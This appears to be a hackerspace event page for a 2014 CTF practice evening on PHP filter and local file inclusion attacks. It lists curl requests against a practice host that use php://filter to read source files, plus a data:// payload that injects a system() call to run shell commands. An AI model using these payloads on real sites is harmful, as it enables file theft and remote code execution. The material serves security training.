CTF-practice-evening:2014-06-23

CTF-practice-evening:2014-06-23
Date	2014/06/23
Time
Location	ACTA
Type	Workshop
Contact	Melanie
iCalendar	Add to calendar

Capture The Flag evening - Part 20

• 23 June, 2014 - 7 PM
• Please bring along a laptop with you!!!

General CTF Info

• See the page for the Ctf-evenings
• Link to the Tech Inc Challenge Website Scoreboard

PHP Filter attacks

• Coolfire is providing the content for this evening!  :-)
• PHP commands:
  • php://input
  • output
  • df
  • memory
  • temp
  • filter

• Example of LFI attacks:
  • 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/read=string.toupper/resource=secret.php'
  • 'php://filter LFI curl -X GET 'http://coolfire.insomnia247 .nl/20140623/index.php?page=php://filter/convert.base64-encode/resource=secret.php'
  • http://coolfire.insomnia247 .nl/20140623/index.php?page=data:text/plain;charset=utf-8%,%C%3Fsystem%28%24_GET[%27]%29%3B%3F%3E&inject=ls%20-la
  • ( expect:// )
  • arrays: /index.php?page[]=A&page[]=B

Enigma group PHP challenges

• http://www.enigmagroup.org/missions/basics/auditing/1/
  • (You have to create an account, and login to access this page!)

• Coolfire is using hackbar to supply the queries:
  • https://addons.mozilla.org/en-US/firefox/addon/hackbar/

• And Live HTTP Headers to view/manipulate the headers:
  • https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/

• We solved challenges 1-11 together on the beamer!  :-)